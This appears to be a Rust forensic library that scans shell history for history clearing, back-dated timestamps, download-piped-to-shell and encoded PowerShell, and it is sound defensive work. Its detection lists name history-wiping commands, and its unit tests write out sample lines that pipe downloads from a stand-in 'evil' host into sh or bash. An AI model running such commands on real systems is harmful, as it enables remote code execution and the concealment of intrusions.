shellhist_forensic/
lib.rs1#![forbid(unsafe_code)]
9
10use forensicnomicon::report::{Category, Finding, Observation, Severity, Source};
11use shellhist_core::HistoryEntry;
12
13#[derive(Debug, Clone, PartialEq, Eq)]
15pub enum HistAnomaly {
16 HistoryDisabled { command: String },
19 TimestampRegression { at: i64, previous: i64 },
22 RemoteExecPipe { command: String },
24 PwshEncodedCommand { command: String },
26}
27
28impl HistAnomaly {
29 #[must_use]
31 pub fn code(&self) -> &'static str {
32 match self {
33 Self::HistoryDisabled { .. } => "SHELLHIST-HISTORY-DISABLED",
34 Self::TimestampRegression { .. } => "SHELLHIST-TIMESTAMP-REGRESSION",
35 Self::RemoteExecPipe { .. } => "SHELLHIST-REMOTE-EXEC-PIPE",
36 Self::PwshEncodedCommand { .. } => "SHELLHIST-PWSH-ENCODED-CMD",
37 }
38 }
39}
40
41impl Observation for HistAnomaly {
42 fn severity(&self) -> Option<Severity> {
43 Some(match self {
44 Self::HistoryDisabled { .. }
45 | Self::TimestampRegression { .. }
46 | Self::RemoteExecPipe { .. }
47 | Self::PwshEncodedCommand { .. } => Severity::Medium,
48 })
49 }
50
51 fn code(&self) -> &'static str {
52 HistAnomaly::code(self)
53 }
54
55 fn category(&self) -> Category {
56 match self {
57 Self::HistoryDisabled { .. } => Category::Concealment,
58 Self::TimestampRegression { .. } => Category::Integrity,
59 Self::RemoteExecPipe { .. } | Self::PwshEncodedCommand { .. } => Category::Threat,
60 }
61 }
62
63 fn note(&self) -> String {
64 match self {
65 Self::HistoryDisabled { command } => format!(
66 "the command {command:?} disables or clears shell history; consistent with \
67 anti-forensic history tampering (MITRE T1070.003)"
68 ),
69 Self::TimestampRegression { at, previous } => format!(
70 "an entry timestamped {at} follows one timestamped {previous} (history went \
71 backwards in time); consistent with injected or back-dated entries"
72 ),
73 Self::RemoteExecPipe { command } => format!(
74 "the command {command:?} downloads and pipes content directly into a shell; \
75 consistent with remote payload execution (MITRE T1059 / T1105)"
76 ),
77 Self::PwshEncodedCommand { command } => format!(
78 "the command {command:?} uses an encoded or policy-bypassing PowerShell \
79 invocation; consistent with obfuscated execution (MITRE T1059.001 / T1027)"
80 ),
81 }
82 }
83}
84
85#[must_use]
87pub fn source(scope: impl Into<String>) -> Source {
88 Source {
89 analyzer: "shellhist-forensic".to_string(),
90 scope: scope.into(),
91 version: Some(env!("CARGO_PKG_VERSION").to_string()),
92 }
93}
94
95#[must_use]
97pub fn audit(entries: &[HistoryEntry]) -> Vec<HistAnomaly> {
98 let mut out = Vec::new();
99 let mut last_ts: Option<i64> = None;
100
101 for entry in entries {
102 let cmd = entry.command.as_str();
103 if is_history_disable(cmd) {
104 out.push(HistAnomaly::HistoryDisabled {
105 command: cmd.to_string(),
106 });
107 }
108 if is_remote_exec_pipe(cmd) {
109 out.push(HistAnomaly::RemoteExecPipe {
110 command: cmd.to_string(),
111 });
112 }
113 if is_pwsh_encoded(cmd) {
114 out.push(HistAnomaly::PwshEncodedCommand {
115 command: cmd.to_string(),
116 });
117 }
118 if let Some(ts) = entry.timestamp {
119 if let Some(prev) = last_ts {
120 if ts < prev {
121 out.push(HistAnomaly::TimestampRegression {
122 at: ts,
123 previous: prev,
124 });
125 }
126 }
127 last_ts = Some(ts);
128 }
129 }
130 out
131}
132
133#[must_use]
135pub fn audit_findings(entries: &[HistoryEntry], scope: impl Into<String>) -> Vec<Finding> {
136 let src = source(scope);
137 audit(entries)
138 .iter()
139 .map(|a| a.to_finding(src.clone()))
140 .collect()
141}
142
143fn is_history_disable(cmd: &str) -> bool {
144 let c = cmd.to_ascii_lowercase();
145 const NEEDLES: &[&str] = &[
146 "unset histfile",
147 "set +o history",
148 "history -c",
149 "histfile=/dev/null",
150 "clear-history",
151 ];
152 if NEEDLES.iter().any(|n| c.contains(n)) {
153 return true;
154 }
155 (c.contains("ln -sf /dev/null") || c.contains("ln -s /dev/null")) && c.contains("history")
156 || (c.contains("rm ") && c.contains("_history"))
157 || (c.contains("remove-item") && c.contains("consolehost_history"))
158}
159
160fn is_remote_exec_pipe(cmd: &str) -> bool {
161 let c = cmd.to_ascii_lowercase();
162 let downloads = c.contains("curl ") || c.contains("wget ");
163 let into_shell = c.contains("| sh")
164 || c.contains("|sh")
165 || c.contains("| bash")
166 || c.contains("|bash")
167 || c.contains("| zsh")
168 || c.contains("|zsh");
169 if downloads && into_shell {
170 return true;
171 }
172 (c.contains("downloadstring") || c.contains("downloadfile"))
174 && (c.contains("iex") || c.contains("invoke-expression"))
175 || ((c.contains("base64 -d") || c.contains("base64 --decode")) && into_shell)
176}
177
178fn is_pwsh_encoded(cmd: &str) -> bool {
179 let c = cmd.to_ascii_lowercase();
180 c.contains("-encodedcommand")
181 || c.contains("-enc ")
182 || c.ends_with("-enc")
183 || c.contains("executionpolicy bypass")
184 || (c.contains("frombase64string")
185 && (c.contains("iex") || c.contains("invoke-expression")))
186}
187
188#[cfg(test)]
189mod tests {
190 use super::*;
191 use shellhist_core::{HistoryEntry, Shell};
192
193 fn entry(cmd: &str, ts: Option<i64>) -> HistoryEntry {
194 HistoryEntry {
195 shell: Shell::Bash,
196 command: cmd.into(),
197 timestamp: ts,
198 elapsed: None,
199 paths: vec![],
200 }
201 }
202
203 fn codes(a: &[HistAnomaly]) -> Vec<&str> {
204 a.iter().map(HistAnomaly::code).collect()
205 }
206
207 #[test]
208 fn benign_history_fires_nothing() {
209 let h = [
210 entry("ls -la", Some(100)),
211 entry("cd /tmp", Some(101)),
212 entry("git status", Some(102)),
213 ];
214 assert!(audit(&h).is_empty());
215 }
216
217 #[test]
218 fn history_clearing_is_flagged() {
219 for cmd in [
220 "unset HISTFILE",
221 "set +o history",
222 "history -c",
223 "export HISTFILE=/dev/null",
224 "Clear-History",
225 ] {
226 let a = audit(&[entry(cmd, None)]);
227 assert!(
228 codes(&a).contains(&"SHELLHIST-HISTORY-DISABLED"),
229 "missed: {cmd}"
230 );
231 }
232 }
233
234 #[test]
235 fn timestamp_regression_is_flagged() {
236 let h = [entry("a", Some(200)), entry("b", Some(150))]; let a = audit(&h);
238 assert!(codes(&a).contains(&"SHELLHIST-TIMESTAMP-REGRESSION"));
239 assert!(!codes(&audit(&[entry("a", Some(1)), entry("b", Some(2))]))
241 .contains(&"SHELLHIST-TIMESTAMP-REGRESSION"));
242 }
243
244 #[test]
245 fn download_pipe_to_shell_is_flagged() {
246 for cmd in [
247 "curl http://evil/x.sh | sh",
248 "wget -qO- http://evil | bash",
249 "curl http://x|sh",
250 ] {
251 assert!(
252 codes(&audit(&[entry(cmd, None)])).contains(&"SHELLHIST-REMOTE-EXEC-PIPE"),
253 "missed: {cmd}"
254 );
255 }
256 assert!(!codes(&audit(&[entry("curl -o x.sh http://x", None)]))
258 .contains(&"SHELLHIST-REMOTE-EXEC-PIPE"));
259 }
260
261 #[test]
262 fn pwsh_encoded_command_is_flagged() {
263 for cmd in [
264 "powershell -EncodedCommand ZQBjAGgAbwA=",
265 "pwsh -enc ZQBj",
266 "powershell -ExecutionPolicy Bypass -File x.ps1",
267 ] {
268 assert!(
269 codes(&audit(&[entry(cmd, None)])).contains(&"SHELLHIST-PWSH-ENCODED-CMD"),
270 "missed: {cmd}"
271 );
272 }
273 }
274
275 #[test]
276 fn findings_are_hedged_observations_never_verdicts() {
277 let f = audit_findings(&[entry("curl http://x | sh", None)], "test");
278 assert_eq!(f.len(), 1);
279 let note = f[0].note.to_ascii_lowercase();
280 assert!(note.contains("consistent with"), "must hedge: {note}");
281 for forbidden in ["proves", "confirms", "definitely"] {
282 assert!(
283 !note.contains(forbidden),
284 "must not assert a verdict: {note}"
285 );
286 }
287 }
288}